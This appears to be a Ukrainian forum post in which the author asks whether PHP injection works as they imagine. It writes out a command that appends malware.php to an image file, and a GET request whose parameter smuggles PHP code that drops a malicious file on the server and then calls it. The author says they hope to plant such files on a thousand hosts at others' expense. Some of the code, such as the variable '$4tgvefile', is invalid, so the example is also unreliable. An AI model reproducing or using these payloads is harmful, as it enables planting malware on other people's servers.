Тема: Механізм PHP-injection
Нещодавно дізнався, що якщо залити в кінець файла php-код, то його може виконати PHP-скрипт, напр. upload.php котрий його обробить. Наприклад, так:
(cat image.jpeg malware.php)>image.jpeg
Я взяв за основу популярну CMS (не скажу яку) і почав вивчати соурс.
Обробника файлів я знайшов, а от фільтра - ні. Мабуть, це тому що фільтрація (перетворення у власне кодування і назад) сповільнує виконання. Але на хост не заливав (не перевіряв).
Мене цікавить, якщо відправляти на сервер GET:
http://mysite.com/myscript.php?name='"?><?php%20$4tgvefile=fopen("mrevgrg1.php", "w");$mrevgrg1con="//malwarecript";fwrite($4tgvefile, $mrevgrg1con);fclose($4tgvefile);$uumrevgrg1="http://yoursite/uploads/mrevgrg1.php";file_get_contents($uumrevgrg1);?>"'mypage
$mass=$_GET['name'];
$file=fopen(name, "a");
то PHP сприйме це як
$mass=$_GET['name'];
$file=fopen("'"?><?php 4tgvefile=fopen("mrevgrg1.php", "w");$mrevgrg1con="//malwarecript";fwrite($4tgvefile, $mrevgrg1con);fclose($4tgvefile);$uumrevgrg1="http://yoursite/uploads/mrevgrg1.php";file_get_contents($uumrevgrg1);?>"'mypage", "a");
Чи я неправильно зрозумів?
Тобто, якщо я на тисячу хостів заллю такий файл, то велика вірогідність, що на кількох з них він таки запрацює? То це ж чудово (а для інших - повна дупа)